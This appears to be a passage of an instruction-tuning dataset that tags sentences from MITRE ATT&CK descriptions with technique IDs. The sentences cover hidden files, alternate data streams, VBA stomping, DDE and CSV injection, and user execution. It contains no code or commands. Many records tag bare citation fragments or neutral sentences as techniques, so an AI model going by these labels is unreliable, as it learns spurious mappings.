T1564.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Files on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker).", "output": "T1564.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Files on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). ### Response: T1564.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Windows, users can mark specific files as hidden by using the attrib.exe binary.", "output": "T1564.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Windows, users can mark specific files as hidden by using the attrib.exe binary. ### Response: T1564.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many applications create these hidden files and folders to store information so that it doesn\u2019t clutter up the user\u2019s workspace.", "output": "T1564.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many applications create these hidden files and folders to store information so that it doesn\u2019t clutter up the user\u2019s workspace. ### Response: T1564.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, SSH utilities create a .ssh folder that\u2019s hidden and contains the user\u2019s known hosts and keys.", "output": "T1564.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, SSH utilities create a .ssh folder that\u2019s hidden and contains the user\u2019s known hosts and keys. ### Response: T1564.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.", "output": "T1564.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files. ### Response: T1564.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection.", "output": "T1564.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. ### Response: T1564.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition.", "output": "T1564.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. ### Response: T1564.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: SpectorOps Host-Based Jul 2017)", "output": "T1564.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: SpectorOps Host-Based Jul 2017) ### Response: T1564.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files).", "output": "T1564.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). ### Response: T1564.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)", "output": "T1564.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014) ### Response: T1564.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files.", "output": "T1564.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. ### Response: T1564.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may be done to evade some defenses, such as static indicator scanning tools and anti-virus.", "output": "T1564.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. ### Response: T1564.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)", "output": "T1564.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015) ### Response: T1564.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may hide malicious Visual Basic for Applications (VBA) payloads embedded within MS Office documents by replacing the VBA source code with benign data.(Citation: FireEye VBA stomp Feb 2020)\n\nMS Office documents with embedded VBA content store source code inside of module streams.", "output": "T1564.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may hide malicious Visual Basic for Applications (VBA) payloads embedded within MS Office documents by replacing the VBA source code with benign data.(Citation: FireEye VBA stomp Feb 2020)\n\nMS Office documents with embedded VBA content store source code inside of module streams. ### Response: T1564.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Each module stream has a <code>PerformanceCache</code> that stores a separate compiled version of the VBA source code known as p-code.", "output": "T1564.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Each module stream has a <code>PerformanceCache</code> that stores a separate compiled version of the VBA source code known as p-code. ### Response: T1564.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The p-code is executed when the MS Office version specified in the <code>_VBA_PROJECT</code> stream (which contains the version-dependent description of the VBA project) matches the version of the host MS Office application.(Citation: Evil Clippy May 2019)(Citation:", "output": "T1564.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The p-code is executed when the MS Office version specified in the <code>_VBA_PROJECT</code> stream (which contains the version-dependent description of the VBA project) matches the version of the host MS Office application.(Citation: Evil Clippy May 2019)(Citation: ### Response: T1564.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft _VBA_PROJECT Stream)", "output": "T1564.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft _VBA_PROJECT Stream) ### Response: T1564.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may hide malicious VBA code by overwriting the VBA source code location with zero\u2019s, benign code, or random bytes while leaving the previously compiled malicious p-code.", "output": "T1564.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may hide malicious VBA code by overwriting the VBA source code location with zero\u2019s, benign code, or random bytes while leaving the previously compiled malicious p-code. ### Response: T1564.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Tools that scan for malicious VBA source code may be bypassed as the unwanted code is hidden in the compiled p-code.", "output": "T1564.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Tools that scan for malicious VBA source code may be bypassed as the unwanted code is hidden in the compiled p-code. ### Response: T1564.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the VBA source code is removed, some tools might even think that there are no macros present.", "output": "T1564.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the VBA source code is removed, some tools might even think that there are no macros present. ### Response: T1564.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If there is a version match between the <code>_VBA_PROJECT</code> stream and host MS Office application, the p-code will be executed, otherwise the benign VBA source code will be decompressed and recompiled to p-code, thus removing malicious p-code and potentially bypassing dynamic analysis.(Citation: Walmart Roberts Oct 2018)(Citation: FireEye VBA stomp Feb 2020)(Citation: pcodedmp Bontchev)", "output": "T1564.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If there is a version match between the <code>_VBA_PROJECT</code> stream and host MS Office application, the p-code will be executed, otherwise the benign VBA source code will be decompressed and recompiled to p-code, thus removing malicious p-code and potentially bypassing dynamic analysis.(Citation: Walmart Roberts Oct 2018)(Citation: FireEye VBA stomp Feb 2020)(Citation: pcodedmp Bontchev) ### Response: T1564.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use a hidden file system to conceal malicious activity from users and security tools.", "output": "T1564.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use a hidden file system to conceal malicious activity from users and security tools. ### Response: T1564.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "File systems provide a structure to store and access data from physical storage.", "output": "T1564.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: File systems provide a structure to store and access data from physical storage. ### Response: T1564.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Typically, a user engages with a file system through applications that allow them to access files and directories, which are an abstraction from their physical location (ex: disk sector).", "output": "T1564.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Typically, a user engages with a file system through applications that allow them to access files and directories, which are an abstraction from their physical location (ex: disk sector). ### Response: T1564.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Standard file systems include FAT, NTFS, ext4, and APFS.", "output": "T1564.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Standard file systems include FAT, NTFS, ext4, and APFS. ### Response: T1564.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "File systems can also contain other structures, such as the Volume Boot Record (VBR) and Master File Table (MFT) in NTFS.(Citation: MalwareTech VFS Nov 2014)", "output": "T1564.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: File systems can also contain other structures, such as the Volume Boot Record (VBR) and Master File Table (MFT) in NTFS.(Citation: MalwareTech VFS Nov 2014) ### Response: T1564.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use their own abstracted file system, separate from the standard file system present on the infected system.", "output": "T1564.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use their own abstracted file system, separate from the standard file system present on the infected system. ### Response: T1564.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In doing so, adversaries can hide the presence of malicious components and file input/output from security tools.", "output": "T1564.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In doing so, adversaries can hide the presence of malicious components and file input/output from security tools. ### Response: T1564.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Hidden file systems, sometimes referred to as virtual file systems, can be implemented in numerous ways.", "output": "T1564.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Hidden file systems, sometimes referred to as virtual file systems, can be implemented in numerous ways. ### Response: T1564.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "One implementation would be to store a file system in reserved disk space unused by disk structures or standard file system partitions.(Citation: MalwareTech VFS Nov 2014)(Citation: FireEye Bootkits)", "output": "T1564.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: One implementation would be to store a file system in reserved disk space unused by disk structures or standard file system partitions.(Citation: MalwareTech VFS Nov 2014)(Citation: FireEye Bootkits) ### Response: T1564.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Another implementation could be for an adversary to drop their own portable partition image as a file on top of the standard file system.(Citation: ESET ComRAT May 2020)", "output": "T1564.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Another implementation could be for an adversary to drop their own portable partition image as a file on top of the standard file system.(Citation: ESET ComRAT May 2020) ### Response: T1564.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also fragment files across the existing file system structure in non-standard ways.(Citation: Kaspersky Equation QA)", "output": "T1564.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also fragment files across the existing file system structure in non-standard ways.(Citation: Kaspersky Equation QA) ### Response: T1564.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to hide artifacts associated with their behaviors to evade detection.", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system.", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation:", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "MalwareBytes ADS July 2015)", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: MalwareBytes ADS July 2015) ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020)", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020) ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution.", "output": "T1559", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. ### Response: T1559."}{"instruction": "List the MITRE techniques contained in the text.", "input": "IPC is typically used by processes to share data, communicate with each other, or synchronize execution.", "output": "T1559", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: IPC is typically used by processes to share data, communicate with each other, or synchronize execution. ### Response: T1559."}{"instruction": "List the MITRE techniques contained in the text.", "input": "IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern.", "output": "T1559", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. ### Response: T1559."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse IPC to execute arbitrary code or commands.", "output": "T1559", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse IPC to execute arbitrary code or commands. ### Response: T1559."}{"instruction": "List the MITRE techniques contained in the text.", "input": "IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or", "output": "T1559", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or ### Response: T1559."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Component Object Model](https://attack.mitre.org/techniques/T1559/001).", "output": "T1559", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Component Object Model](https://attack.mitre.org/techniques/T1559/001). ### Response: T1559."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Linux environments support several different IPC mechanisms, two of which being sockets and pipes.(Citation: Linux IPC) Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms.", "output": "T1559", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Linux environments support several different IPC mechanisms, two of which being sockets and pipes.(Citation: Linux IPC) Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms. ### Response: T1559."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019)", "output": "T1559", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019) ### Response: T1559."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands.", "output": "T1559.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. ### Response: T1559.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications.", "output": "T1559.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. ### Response: T1559.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.", "output": "T1559.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution. ### Response: T1559.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE.", "output": "T1559.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. ### Response: T1559.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys.(Citation: BleepingComputer DDE Disabled in Word Dec 2017)(Citation:", "output": "T1559.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys.(Citation: BleepingComputer DDE Disabled in Word Dec 2017)(Citation: ### Response: T1559.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft ADV170021 Dec 2017)(Citation:", "output": "T1559.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft ADV170021 Dec 2017)(Citation: ### Response: T1559.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft DDE Advisory Nov 2017)\n\nMicrosoft Office documents can be poisoned with DDE commands, directly or through embedded files, and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros.(Citation:", "output": "T1559.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft DDE Advisory Nov 2017)\n\nMicrosoft Office documents can be poisoned with DDE commands, directly or through embedded files, and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros.(Citation: ### Response: T1559.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SensePost PS DDE May 2016)(Citation:", "output": "T1559.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SensePost PS DDE May 2016)(Citation: ### Response: T1559.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kettle CSV DDE Aug 2014)(Citation:", "output": "T1559.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kettle CSV DDE Aug 2014)(Citation: ### Response: T1559.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Enigma Reviving DDE Jan 2018)(Citation: SensePost MacroLess DDE Oct 2017)", "output": "T1559.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Enigma Reviving DDE Jan 2018)(Citation: SensePost MacroLess DDE Oct 2017) ### Response: T1559.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similarly, adversaries may infect payloads to execute applications and/or commands on a victim device by way of embedding DDE formulas within a CSV file intended to be opened through a Windows spreadsheet program.(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection )\n\nDDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).", "output": "T1559.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similarly, adversaries may infect payloads to execute applications and/or commands on a victim device by way of embedding DDE formulas within a CSV file intended to be opened through a Windows spreadsheet program.(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection )\n\nDDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). ### Response: T1559.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "DDE execution can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)", "output": "T1559.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: DDE execution can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019) ### Response: T1559.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may rely upon specific actions by a user in order to gain execution.", "output": "T1204", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may rely upon specific actions by a user in order to gain execution. ### Response: T1204."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link.", "output": "T1204", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. ### Response: T1204."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566).", "output": "T1204", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566). ### Response: T1204."}{"instruction": "List the MITRE techniques contained in the text.", "input": "While [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it.", "output": "T1204", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: While [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. ### Response: T1204."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).", "output": "T1204", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534). ### Response: T1204."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also deceive users into performing actions such as enabling [Remote Access Software](https://attack.mitre.org/techniques/T1219), allowing direct control of the system to the adversary, or downloading and executing malware for [User Execution](https://attack.mitre.org/techniques/T1204).", "output": "T1204", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also deceive users into performing actions such as enabling [Remote Access Software](https://attack.mitre.org/techniques/T1219), allowing direct control of the system to the adversary, or downloading and executing malware for [User Execution](https://attack.mitre.org/techniques/T1204). ### Response: T1204."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, tech support scams can be facilitated through [Phishing](https://attack.mitre.org/techniques/T1566), vishing, or various forms of user interaction.", "output": "T1204", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, tech support scams can be facilitated through [Phishing](https://attack.mitre.org/techniques/T1566), vishing, or various forms of user interaction. ### Response: T1204."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or [Remote Access Software](https://attack.mitre.org/techniques/T1219).(Citation: Telephone Attack Delivery)", "output": "T1204", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or [Remote Access Software](https://attack.mitre.org/techniques/T1219).(Citation: Telephone Attack Delivery) ### Response: T1204."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may rely upon a user opening a malicious file in order to gain execution.", "output": "T1204.002", "text": "Below is an instruction that 